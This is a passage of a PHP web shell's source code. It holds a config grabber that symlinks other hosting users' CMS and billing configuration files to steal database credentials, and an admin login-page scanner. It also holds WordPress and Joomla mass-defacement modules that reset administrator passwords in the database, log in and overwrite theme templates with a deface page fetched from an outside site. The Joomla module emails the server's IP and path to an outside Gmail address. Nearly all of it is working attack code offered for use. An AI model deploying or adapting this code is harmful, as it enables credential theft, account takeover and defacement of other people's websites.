5482@symlink('/home/'.$user.'/public_html/secure/whm/configuration.php',$user.'-sucure-whm.txt');
5483@symlink('/home/'.$user.'/public_html/secure/whmcs/configuration.php',$user.'-sucure-whmcs.txt');
5484@symlink('/home/'.$user.'/public_html/cpanel/configuration.php',$user.'-cpanel.txt');
5485@symlink('/home/'.$user.'/public_html/panel/configuration.php',$user.'-panel.txt');
5486@symlink('/home/'.$user.'/public_html/host/configuration.php',$user.'-host.txt');
5487@symlink('/home/'.$user.'/public_html/hosting/configuration.php',$user.'-hosting.txt');
5488@symlink('/home/'.$user.'/public_html/hosts/configuration.php',$user.'-hosts.txt');
5489@symlink('/home/'.$user.'/public_html/configuration.php',$user.'-joomla.txt');
5490@symlink('/home/'.$user.'/public_html/submitticket.php',$user.'-whmcs2.txt');
5491@symlink('/home/'.$user.'/public_html/clients/configuration.php',$user.'-clients.txt');
5492@symlink('/home/'.$user.'/public_html/client/configuration.php',$user.'-client.txt');
5493@symlink('/home/'.$user.'/public_html/clientes/configuration.php',$user.'-clientes.txt');
5494@symlink('/home/'.$user.'/public_html/cliente/configuration.php',$user.'-client.txt');
5495@symlink('/home/'.$user.'/public_html/clientsupport/configuration.php',$user.'-clientsupport.txt');
5496@symlink('/home/'.$user.'/public_html/billing/configuration.php',$user.'-billing.txt');
5497@symlink('/home/'.$user.'/public_html/manage/configuration.php',$user.'-whm-manage.txt');
5498@symlink('/home/'.$user.'/public_html/my/configuration.php',$user.'-whm-my.txt');
5499@symlink('/home/'.$user.'/public_html/myshop/configuration.php',$user.'-whm-myshop.txt');
5500@symlink('/home/'.$user.'/public_html/includes/dist-configure.php',$user.'-zencart.txt');
5501@symlink('/home/'.$user.'/public_html/zencart/includes/dist-configure.php',$user.'-shop-zencart.txt');
5502@symlink('/home/'.$user.'/public_html/shop/includes/dist-configure.php',$user.'-shop-ZCshop.txt');
5503@symlink('/home/'.$user.'/public_html/Settings.php',$user.'-smf.txt');
5504@symlink('/home/'.$user.'/public_html/smf/Settings.php',$user.'-smf2.txt');
5505@symlink('/home/'.$user.'/public_html/forum/Settings.php',$user.'-smf-forum.txt');
5506@symlink('/home/'.$user.'/public_html/forums/Settings.php',$user.'-smf-forums.txt');
5507@symlink('/home/'.$user.'/public_html/upload/includes/config.php',$user.'-up.txt');
5508@symlink('/home/'.$user.'/public_html/article/config.php',$user.'-Nwahy.txt');
5509@symlink('/home/'.$user.'/public_html/up/includes/config.php',$user.'-up2.txt');
5510@symlink('/home/'.$user.'/public_html/conf_global.php',$user.'-6.txt');
5511@symlink('/home/'.$user.'/public_html/include/db.php',$user.'-7.txt');
5512@symlink('/home/'.$user.'/public_html/connect.php',$user.'-PHP-Fusion.txt');
5513@symlink('/home/'.$user.'/public_html/mk_conf.php',$user.'-9.txt');
5514@symlink('/home/'.$user.'/public_html/includes/config.php',$user.'-traidnt1.txt');
5515@symlink('/home/'.$user.'/public_html/config.php',$user.'-4images.txt');
5516@symlink('/home/'.$user.'/public_html/sites/default/settings.php',$user.'-Drupal.txt');
5517@symlink('/home/'.$user.'/public_html/member/configuration.php',$user.'-1member.txt') ;
5518@symlink('/home/'.$user.'/public_html/billings/configuration.php',$user.'-billings.txt') ;
5519@symlink('/home/'.$user.'/public_html/whm/configuration.php',$user.'-whm.txt');
5520@symlink('/home/'.$user.'/public_html/supports/configuration.php',$user.'-supports.txt');
5521@symlink('/home/'.$user.'/public_html/requires/config.php',$user.'-AM4SS-hosting.txt');
5522@symlink('/home/'.$user.'/public_html/supports/includes/iso4217.php',$user.'-hostbills-supports.txt');
5523@symlink('/home/'.$user.'/public_html/client/includes/iso4217.php',$user.'-hostbills-client.txt');
5524@symlink('/home/'.$user.'/public_html/support/includes/iso4217.php',$user.'-hostbills-support.txt');
5525@symlink('/home/'.$user.'/public_html/billing/includes/iso4217.php',$user.'-hostbills-billing.txt');
5526@symlink('/home/'.$user.'/public_html/billings/includes/iso4217.php',$user.'-hostbills-billings.txt');
5527@symlink('/home/'.$user.'/public_html/host/includes/iso4217.php',$user.'-hostbills-host.txt');
5528@symlink('/home/'.$user.'/public_html/hosts/includes/iso4217.php',$user.'-hostbills-hosts.txt');
5529@symlink('/home/'.$user.'/public_html/hosting/includes/iso4217.php',$user.'-hostbills-hosting.txt');
5530@symlink('/home/'.$user.'/public_html/hostings/includes/iso4217.php',$user.'-hostbills-hostings.txt');
5531@symlink('/home/'.$user.'/public_html/includes/iso4217.php',$user.'-hostbills.txt');
5532@symlink('/home/'.$user.'/public_html/hostbills/includes/iso4217.php',$user.'-hostbills-hostbills.txt');
5533@symlink('/home/'.$user.'/public_html/hostbill/includes/iso4217.php',$user.'-hostbills-hostbill.txt');
5534}
5535echo "<center><br/><br/><a href='dm_grab'><nobr><span class='b9'>CHECK CONFIG GRABBER</span></nobr><br/></a><br/><br/>";
5536}
5537?>
5538
5539<?php }
5540# x=ascan
5541elseif(isset($_GET['x']) && ($_GET['x'] == 'ascan')){ ?>
5542<form action="?dn=<?php echo $pwd; ?>&x=ascan" method="post">
5543
5544 <center><br/><br/><nobr><span class="b7">O=:[ ADMIN LOGIN</span> <span class="b8">PATH SCANNER ]:=O</nobr><br/><br/> <form method="POST"> Website : <input name="target" style="color:#FF0000;background-color:#000000" size="25" value="http://"><input type="submit" style="color:#FF0000;background-color:#000000" value=" >> "></form></center>
5545
5546<?php
5547$target = $_POST['target'];
5548$admins = array('/admin',
5549'/adminweb',
5550'/safeadmin',
5551'/adminweb',
5552'/controlpanel',
5553'/cpanel',
5554'/admcp',
5555'/admin.asp',
5556'/sysadmin.php',
5557'/useradmin',
5558'/wp-admin',
5559'/webadmin',
5560'/SysAdmin',
5561'/administer',
5562'/administrator',
5563'/adm',
5564'/directadmin',
5565'/staradmin',
5566'/panel',
5567'/wp-login'
5568,'/pureadmin',
5569'/webmaster',
5570'/ADMIN',
5571'/login',
5572'/paneldecontrol',
5573'/administrador',
5574'/admin.php',
5575'/login',
5576'/loign.php',
5577'/administrator.php',
5578'/admins.php',
5579'/logins',
5580'/admincp',
5581'/admincp.php');
5582foreach($admins as $admin) {
5583$jamban = ($target).($admin);
5584$get = @file_get_contents($jamban);
5585if($get) {
5586echo "<br>[+] FOUND : <a href='".$jamban."' target='_blank'>".$jamban."</a> [+]<br>";
5587}
5588}
5589?>
5590
5591<?php }
5592elseif(isset($_GET['x']) && ($_GET['x'] == 'wpmass')){ ?>
5593<form action="?y=<?php echo $pwd; ?>&x=wpmass" method="post">
5594<?php
5595ini_set("display_errors", "0");
5596set_time_limit(0);
5597@session_start();
5598$base_path = dirname(__FILE__).'/';
5599
5600
5601function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1){
5602 $ar0=explode($marqueurDebutLien, $text);
5603 $ar1=explode($marqueurFinLien, $ar0[$i]);
5604 return trim($ar1[0]);
5605}
5606
5607function randomt() {
5608 $chars = "abcdefghijkmnopqrstuvwxyz023456789";
5609 srand((double)microtime()*1000000);
5610 $i = 0;
5611 $pass = '';
5612 while ($i <= 7) {
5613 $num = rand() % 33;
5614 $tmp = substr($chars, $num, 1);
5615 $pass = $pass . $tmp;
5616 $i++;
5617 }
5618 return $pass;
5619}
5620
5621function index_changer_wp($conf, $content) {
5622 $output = '';
5623 $dol = '$';
5624 $username = entre2v2($conf,"define('DB_USER', '","');");
5625 $password = entre2v2($conf,"define('DB_PASSWORD', '","');");
5626 $dbname = entre2v2($conf,"define('DB_NAME', '","');");
5627 $prefix = entre2v2($conf,$dol."table_prefix = '","'");
5628 $host = entre2v2($conf,"define('DB_HOST', '","');");
5629
5630 $link=mysql_connect($host,$username,$password);
5631 if($link) {
5632 mysql_select_db($dbname,$link) ;
5633 $dol = '$';
5634 $req1 = mysql_query("UPDATE `".$prefix."users` SET `user_login` = 'admin',`user_pass` = '0a56f86a4ea789f555c2bdfafb61fd4a' WHERE `ID` = 1");
5635 } else {
5636 $output.= "[-] DB Error<br />";
5637 }
5638 if($req1) {
5639
5640 $req = mysql_query("SELECT * from `".$prefix."options` WHERE option_name='home'");
5641 $data = mysql_fetch_array($req);
5642 $site_url=$data["option_value"];
5643
5644 $req = mysql_query("SELECT * from `".$prefix."options` WHERE option_name='template'");
5645 $data = mysql_fetch_array($req);
5646 $template = $data["option_value"];
5647
5648 $req = mysql_query("SELECT * from `".$prefix."options` WHERE option_name='current_theme'");
5649 $data = mysql_fetch_array($req);
5650 $current_theme = $data["option_value"];
5651
5652 $useragent="Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar; .NET CLR 2.0.50727)";
5653 $url2=$site_url."/wp-login.php";
5654
5655 $ch = curl_init();
5656 curl_setopt($ch, CURLOPT_URL, $url2);
5657 curl_setopt($ch, CURLOPT_POST, 1);
5658 curl_setopt($ch, CURLOPT_POSTFIELDS,"log=admin&pwd=slymn123&rememberme=forever&wp-submit=Log In&testcookie=1");
5659 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
5660 curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
5661 curl_setopt($ch, CURLOPT_HEADER, 0);
5662 curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
5663 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
5664 curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");
5665 curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");
5666 $buffer = curl_exec($ch);
5667
5668 $pos = strpos($buffer,"action=logout");
5669 if($pos === false) {
5670 $output.= "[-] Giris Basarisiz<br />";
5671 } else {
5672 $output.= "[+] Giris Basarili<br />";
5673 }
5674
5675 $url2=$site_url."/wp-admin/theme-editor.php?file=/themes/".$template.'/index.php&theme='.urlencode($current_theme).'&dir=theme';
5676 curl_setopt($ch, CURLOPT_URL, $url2);
5677 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
5678 curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
5679 curl_setopt($ch, CURLOPT_HEADER, 0);
5680 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
5681 curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");
5682 curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");
5683 $buffer0 = curl_exec($ch);
5684
5685 $_wpnonce = entre2v2($buffer0,'<input type="hidden" id="_wpnonce" name="_wpnonce" value="','" />');
5686 $_file = entre2v2($buffer0,'<input type="hidden" name="file" value="','" />');
5687
5688 if(substr_count($_file,"/index.php") != 0){
5689 $output.= "[+] index.php CROT<br />";
5690 } else {
5691 $output.= "[-] index.php CROT<br />";
5692 }
5693
5694 $url2=$site_url."/wp-admin/theme-editor.php";
5695 curl_setopt($ch, CURLOPT_URL, $url2);
5696 curl_setopt($ch, CURLOPT_POST, 1);
5697 curl_setopt($ch, CURLOPT_POSTFIELDS,"newcontent=".$content."&action=update&file=".$_file."&_wpnonce=".$_wpnonce."&submit=Update File");
5698 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
5699 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
5700 curl_setopt($ch, CURLOPT_HEADER, 0);
5701 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
5702 curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");
5703 curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");
5704 $buffer = curl_exec($ch);
5705 curl_close($ch);
5706
5707 $pos = strpos($buffer,'<div id="message" class="updated">');
5708 $cond = 0;
5709 if($pos === false) {
5710 $output.= "[-] index.php CROT<br />";
5711 } else {
5712 $output.= "[+] index.php CROT<br />";
5713 $cond = 1;
5714 }
5715 } else {
5716 $output.= "[-] DB Error<br />";
5717 }
5718 global $base_path;
5719 unlink($base_path.'COOKIE.txt');
5720 return array('cond'=>$cond, 'output'=>$output);
5721}
5722
5723function exec_mode_1($def_url) {
5724
5725 @mkdir('sym',0777);
5726 $wr = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
5727 $fp = @fopen ('sym/.htaccess','w');
5728 fwrite($fp, $wr);
5729 @symlink('/','sym/root');
5730 $dominios = @file_get_contents("/etc/named.conf");
5731 @preg_match_all('/.*?zone "(.*?)" {/', $dominios, $out);
5732 $out[1] = array_unique($out[1]);
5733 $numero_dominios = count($out[1]);
5734 echo "Toplam Site: $numero_dominios <br><br />";
5735 $def = file_get_contents($def_url);
5736 $def = urlencode($def);
5737 $base_url = 'http://'.$_SERVER['SERVER_NAME'].dirname($_SERVER['SCRIPT_NAME']).'/sym/root/home/';
5738 $output = fopen('defaced.html', 'a+');
5739 $_SESSION['count1'] = (isset($_GET['st']) && $_GET['st']!='') ? (isset($_SESSION['count1']) ? $_SESSION['count1'] :0 ) : 0;
5740 $_SESSION['count2'] = (isset($_GET['st']) && $_GET['st']!='') ? (isset($_SESSION['count2']) ? $_SESSION['count2'] :0 ) : 0;
5741 echo '<table style="width:75%;"><tr style="background:rgba(160, 82, 45,0.6);"><th>ID</th>
5742<th>SID</th><th>Domain</th><th>Script</th><th>DM</th><th>dm</th></tr>';
5743 $j = 1;
5744 $st = (isset($_GET['st']) && $_GET['st']!='') ? $_GET['st'] : 0;
5745 for($i = $st; $i <= $numero_dominios; $i++)
5746 {
5747 $domain = $out[1][$i];
5748 $dono_arquivo = @fileowner("/etc/valiases/".$domain);
5749 $infos = @posix_getpwuid($dono_arquivo);
5750
5751 $config02 = @file_get_contents($base_url.$infos['name']."/public_html/wp-config.php");
5752
5753 $cls = ($j % 2 == 0) ? 'class="even"' : 'class="odd"';
5754
5755 if($config02 && preg_match('/DB_NAME/i',$config02)){
5756 echo '<tr '.$cls.'><td align="center">'.($j++).'</td><td align="center">'.$i.'</td><td><a href="http://'.$domain.'" target="blank">'.$domain.'</a></td>';
5757 echo '<td align="center"><font color="yellow">WORDPRESS</font></td>';
5758 $res = index_changer_wp($config02, $def);
5759 echo '<td>'.$res['output'].'</td>';
5760 if($res['cond']) {
5761 echo '<td align="center"><span class="green">HACKED</span></td>';
5762 fwrite($output, 'http://'.$domain."<br>");
5763 $_SESSION['count2'] = $_SESSION['count2'] + 1;
5764 } else {
5765 echo '<td align="center"><span class="red">BASARISIZ</span></td>';
5766 }
5767 echo '</tr>';
5768 }
5769 }
5770 echo '</table>';
5771 echo '<hr/>';
5772 echo 'TOTAL Deface = '.($_SESSION['count1']+$_SESSION['count2']).'<br />';
5773
5774}
5775echo '<!DOCTYPE html>
5776<html>
5777<head>
5778 <title>WP Mass Defacer</title>
5779<script type="text/javascript">
5780 function change() {
5781 if(document.getElementById(\'rcd\').checked == true) {
5782 document.getElementById(\'tra\').style.display = \'\';
5783 } else {
5784 document.getElementById(\'tra\').style.display = \'none\';
5785 }
5786 }
5787 function hide() {
5788 document.getElementById(\'tra\').style.display = \'none\';
5789 }
5790 </script>
5791</head>
5792<body>
5793<div style="background: rgba(0,0,0,0.5);padding:90px 0 65px 0;">
5794<h2 style="color:#0066FF;text-align: center;">Wordpress Mass Defacer</h2>';
5795
5796
5797 if(!isset($_POST['form_action'])){ echo '<div align="center">
5798 <form action="" method="post">
5799 <input type="hidden" name="form_action" value="1"><br>index url:
5800<input type="text" style="color:#FF0000;background-color:#000000" name="indexadresi" value="http://site.com/index.html" /><br>
5801 <input class=submit style="color:#FF0000;background-color:#000000" type="submit" value="!! START !!" name="Submit">
5802 </form>
5803 </div>';
5804 }
5805 echo '<div align="center">';
5806 if($_POST['form_action'] == 1) {
5807 exec_mode_1($_POST['indexadresi']);
5808 }
5809 echo '</div>
5810 </div>
5811</body>
5812</html>';
5813?>
5814
5815
5816
5817<?php }
5818elseif(isset($_GET['x']) && ($_GET['x'] == 'jomass')){ ?>
5819<form action="?y=<?php echo $pwd; ?>&x=jomass" method="post">
5820 <html>
5821 <?
5822
5823
5824 ini_set("display_errors", "0");
5825 set_time_limit(0);
5826 @session_start();
5827 echo "<p> <center> <font color=red font face='tahoma' size='6pt'>AUTOMATIC JOOMLA DEFACER </center></font> </p>";
5828
5829 //mail feature
5830 $body=("server ip:".$_SERVER['SERVER_ADDR']." "."Site Name:".$_SERVER['SERVER_NAME']." "."Directory".dirname(__FILE__));
5831 mail('proxyhoax@gmail.com',$_SERVER['SERVER_ADDR'],$body);
5832
5833 $base_url = 'http://'.$_SERVER['SERVER_NAME'].dirname($_SERVER['SCRIPT_NAME']);
5834
5835 //create symlink of / to /sym/root/
5836 @mkdir('sym',0777);
5837 $wr = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
5838 $fp = @fopen ('sym/.htaccess','w');
5839 fwrite($fp, $wr);
5840 @symlink('/','sym/root');
5841 //collecting site names
5842 $text=file_get_contents($base_url.'/sym/root/var/named/');
5843 $ar = explode('<li><a href="', $text);
5844 for($vi=2;$vi < count($ar);$vi++)
5845 {
5846 $var1 = strtok($ar[$vi], " ");
5847 $var1 = substr($var1,0,-2);
5848 $old=('.db');
5849 $new=('');
5850 $sites = str_replace($old , $new , $var1);
5851 $filename = 'sites.txt';
5852 $fp = fopen($filename, "a+");
5853 $write = fputs($fp, $sites."\n");
5854 fclose($fp);
5855 }
5856
5857 //collecting domainuser names for sites
5858 $domainusers=file('sites.txt');
5859 foreach ($domainusers as $domainuser) {
5860 $textexec=("ls -la /etc/valiases/".$domainuser);
5861 $exec=exec($textexec);
5862 $filename = 'lsla.txt';
5863 $fp = fopen($filename, "a+");
5864 $write = fputs($fp, $exec."\n");
5865 fclose($fp);
5866 }
5867
5868 //creating final domain and domain user list
5869 $lsla=file('lsla.txt');
5870 foreach ($lsla as $finaldom) {
5871 $user=entre2v2($finaldom,"-rw-r----- 1 "," mail");
5872 $site=substr(strstr($finaldom, '/etc/valiases'),14);
5873
5874 $filename = 'bhung.txt';
5875 $fp = fopen($filename, "a+");
5876 $write = fputs($fp, $user.":". $site." ");
5877 fclose($fp);
5878
5879 }
5880
5881 $f=file_get_contents('bhung.txt');
5882 $finals=explode(" ",$f);
5883 foreach ($finals as $final){
5884 $strlen=('6');
5885 $dr=strlen ($final);
5886 if ($dr < $strlen) {
5887
5888 $filename = 'faltu.txt';
5889 $fp = fopen($filename, "a");
5890 $write = fputs($fp, $final);
5891 fclose($fp);
5892 }
5893 else {
5894 $filename = 'gold.txt';
5895 $fp = fopen($filename, "a");
5896 $write = fputs($fp, $final."\n");
5897 fclose($fp);
5898 }
5899
5900 }
5901 //delete ajaira text files
5902 unlink ('bhung.txt');
5903 unlink ('faltu.txt');
5904 unlink ('lsla.txt');
5905 unlink ('sites.txt');
5906
5907 $h=file_get_contents('http://dmzone-defacer.tk/index.html');
5908 $url=($base_url);
5909 $a=file($base_url.'/gold.txt');
5910 echo ("<center><table border=1 cellspacing=1 cellpading=1>
5911 <tr> <th width=200>Domain User</th> <th width=250>Website Name</td><th width=100>CMS</td><th width=200>Status</td></tr>");
5912
5913 foreach ($a as $final) {
5914 list($user, $site_url) = explode(":", $final);
5915 $site_urlto = substr($site_url, 0, -1);
5916 $url2=($url."/sym/root/home/".$user."/public_html/configuration.php");
5917 $configs=file_get_contents($url2);
5918 $old=('$');
5919 $new=('hax0rsistz');
5920 $configfile = str_replace($old , $new , $configs);
5921 $username=entre2v2($configfile, "hax0rsistzuser = '","';");
5922 $password=entre2v2($configfile, "hax0rsistzpassword = '","';");
5923 $dbname=entre2v2($configfile, "hax0rsistzdb = '","';");
5924 $dbprefix=entre2v2($configfile, "hax0rsistzdbprefix = '","';");
5925
5926 $strlendbprefix= strlen ($dbprefix);
5927 if ($strlendbprefix > 2) {
5928 $link=mysql_connect("localhost",$username,$password) ;
5929
5930 mysql_select_db($dbname,$link) ;
5931
5932 $tryChaningInfo = mysql_query("UPDATE ".$dbprefix."users SET username ='Yabod1' , password = 'af9083d4b82dbc0745b124db3b3cf15d:M0WuLowO4rtRTddG' where usertype='Super Administrator'");
5933
5934 //checking pass change
5935 $reqpass=('af9083d4b82dbc0745b124db3b3cf15d:M0WuLowO4rtRTddG');
5936 $checkpass= mysql_query("SELECT password FROM ".$dbprefix."users where username='Yabod1'");
5937 $showpass=mysql_fetch_array ($checkpass);
5938 if ($showpass[0]== $reqpass) {
5939
5940 $filename = 'passchanged.txt';
5941 $fp = fopen($filename, "a+");
5942 $write = fputs($fp, $site_url."\n");
5943 fclose($fp);
5944 //upto this alright
5945 $req =mysql_query("SELECT * from `".$dbprefix."extensions` ");
5946
5947
5948 $co=randomt();
5949
5950 if ( $req )
5951 {
5952
5953 $req =mysql_query("SELECT * from `".$dbprefix."template_styles` WHERE client_id='0' and home='1'");
5954 $data = mysql_fetch_array($req);
5955 $template_name=$data["template"];
5956
5957 $req =mysql_query("SELECT * from `".$dbprefix."extensions` WHERE name='".$template_name."'");
5958 $data = mysql_fetch_array($req);
5959 $template_id=$data["extension_id"];
5960
5961 $urlto=$site_urlto."/administrator/index.php";
5962
5963 $ch = curl_init();
5964 curl_setopt($ch, CURLOPT_URL, $urlto);
5965 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
5966 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
5967 curl_setopt($ch, CURLOPT_HEADER, 1);
5968 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
5969 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
5970 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
5971
5972
5973 $buffer = curl_exec($ch);
5974
5975 $return=entre2v2($buffer ,'<input type="hidden" name="return" value="','"');
5976 $hidden=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',4);
5977
5978 ///////////////////////////
5979 $urlto=$site_urlto."/administrator/index.php";
5980 $ch = curl_init();
5981 curl_setopt($ch, CURLOPT_URL, $urlto);
5982 curl_setopt($ch, CURLOPT_POST, 1);
5983 curl_setopt($ch, CURLOPT_POSTFIELDS,"username=admin&passwd=1&option=com_login&task=login&return=".$return."&".$hidden."=1");
5984 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
5985 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
5986 curl_setopt($ch, CURLOPT_HEADER, 0);
5987 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
5988 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
5989 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
5990 $buffer = curl_exec($ch);
5991
5992 $pos = strpos($buffer,"com_config");
5993 if($pos === false) {
5994
5995 }
5996 else {
5997 }
5998 ///////////////////////////
5999 $urlto=$site_urlto."/administrator/index.php?option=com_templates&task=source.edit&id=".base64_encode($template_id.":index.php");
6000 $ch = curl_init();
6001 curl_setopt($ch, CURLOPT_URL, $urlto);
6002 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
6003 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
6004 curl_setopt($ch, CURLOPT_HEADER, 0);
6005 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
6006 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
6007 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
6008 $buffer = curl_exec($ch);
6009
6010 $hidden2=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',2);
6011 if($hidden2) {
6012 }
6013 else {
6014
6015 }
6016 $urlto=$site_urlto."/administrator/index.php?option=com_templates&layout=edit";
6017
6018 $ch = curl_init();
6019 curl_setopt($ch, CURLOPT_URL, $urlto);
6020 curl_setopt($ch, CURLOPT_POST, 1);
6021 curl_setopt($ch, CURLOPT_POSTFIELDS,"jform[source]=".$h."&jform[filename]=index.php&jform[extension_id]=".$template_id."&".$hidden2."=1&task=source.save");
6022
6023 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
6024 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
6025 curl_setopt($ch, CURLOPT_HEADER, 0);
6026 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
6027 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
6028 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
6029 $buffer = curl_exec($ch);
6030
6031 $pos = strpos($buffer,'<dd class="message message">');
6032 if($pos === false) {
6033 echo "<center><table border=1 cellspacing=1 cellpading=1>
6034 <tr><td width=200><font color=green> $user</font></td><td width=250><font color=green> $site_url<font></td><td width=100><font color=green> Joomla</font></td><td width=200><font color=red> Failed </font></td></tr></table></center>";
6035 }
6036 else {
6037 $deftempurl=("http://".$site_urlto."/templates/".$template_name."/index.php");
6038 $filename = 'deftemp.txt';
6039 $fp = fopen($filename, "a+");
6040 $write = fputs($fp, $deftempurl."\n");
6041 fclose($fp);
6042
6043 echo "<center><table border=1 cellspacing=1 cellpading=1>
6044 <tr><td width=200><font color=green> $user</font></td><td width=250><font color=green> $site_url<font></td><td width=100><font color=green> Joomla</font></td><td width=200><font color=green> Defaced </font></td></tr></table></center>";
6045
6046
6047 }
6048
6049 }
6050
6051 else
6052 {
6053
6054 $req =mysql_query("SELECT * from `".$dbprefix."templates_menu` WHERE client_id='0'");
6055 $data = mysql_fetch_array($req);
6056 $template_name=$data["template"];
6057
6058 $urlto=$site_urlto."/administrator/index.php";
6059 $ch = curl_init();
6060 curl_setopt($ch, CURLOPT_URL, $urlto);
6061 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
6062 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
6063 curl_setopt($ch, CURLOPT_HEADER, 1);
6064 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
6065 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
6066 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
6067 $buffer = curl_exec($ch);
6068
6069 $hidden=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',3);
6070
6071 $urlto=$site_urlto."/administrator/index.php";
6072 $ch = curl_init();
6073 curl_setopt($ch, CURLOPT_URL, $urlto);
6074 curl_setopt($ch, CURLOPT_POST, 1);
6075 curl_setopt($ch, CURLOPT_POSTFIELDS,"username=admin&passwd=1&option=com_login&task=login&".$hidden."=1");
6076 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
6077 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
6078 curl_setopt($ch, CURLOPT_HEADER, 0);
6079 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
6080 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
6081 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
6082 $buffer = curl_exec($ch);
6083
6084 $pos = strpos($buffer,"com_config");
6085
6086 if($pos === false) {
6087
6088 }
6089 else {
6090 }
6091 $urlto=$site_urlto."/administrator/index.php?option=com_templates&task=edit_source&client=0&id=".$template_name;
6092 $ch = curl_init();
6093 curl_setopt($ch, CURLOPT_URL, $urlto);
6094 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
6095 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
6096 curl_setopt($ch, CURLOPT_HEADER, 0);
6097 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
6098 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
6099 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
6100 $buffer = curl_exec($ch);
6101
6102 $hidden2=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',6);
6103
6104 if($hidden2) {
6105
6106 }
6107 else {
6108
6109 }
6110
6111
6112 $urlto=$site_urlto."/administrator/index.php?option=com_templates&layout=edit";
6113 $ch = curl_init();
6114 curl_setopt($ch, CURLOPT_URL, $urlto);
6115 curl_setopt($ch, CURLOPT_POST, 1);
6116 curl_setopt($ch, CURLOPT_POSTFIELDS,"filecontent=".$h."&id=".$template_name."&cid[]=".$template_name."&".$hidden2."=1&task=save_source&client=0");
6117 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
6118 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
6119 curl_setopt($ch, CURLOPT_HEADER, 0);
6120 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
6121 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
6122 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
6123 $buffer = curl_exec($ch);
6124
6125 $pos = strpos($buffer,'<dd class="message message fade">');
6126 if($pos === false) {
6127 echo "<center><table border=1 cellspacing=1 cellpading=1>
6128 <tr><td width=200><font color=green> $user</font></td><td width=250><font color=green> $site_url<font></td><td width=100><font color=green> Joomla</font></td><td width=200><font color=red> Failed </font></td></tr></table></center>";
6129 }
6130 else {
6131 $deftempurl=("http://".$site_urlto."/templates/".$template_name."/index.php");
6132 $filename = 'deftemp.txt';
6133 $fp = fopen($filename, "a+");
6134 $write = fputs($fp, $deftempurl."\n");
6135 fclose($fp);
6136
6137 echo "<center><table border=1 cellspacing=1 cellpading=1>
6138 <tr><td width=200><font color=green> $user</font></td><td width=250><font color=green> $site_url<font></td><td width=100><font color=green> Joomla</font></td><td width=200><font color=green> Defaced </font></td></tr></table></center>";
6139
6140
6141 }
6142
6143 }
6144
6145
6146 //upto this alright
6147
6148
6149
6150
6151
6152
6153
6154
6155 }
6156 else {
6157 }
6158 }
6159 else {
6160 }
6161 }
6162
6163 $cntpasschanged=file('passchanged.txt');
6164 $countpasschanged= count ($cntpasschanged);
6165
6166
6167
6168 echo("<br>");
6169 $defacedurl=('<a href="deftemp.txt" target="_blank">View List of Defaced Site</a><br />');
6170 $passchangedurl=('<a href="passchanged.txt" target="_blank">View List of Password Changed site</a><br />');
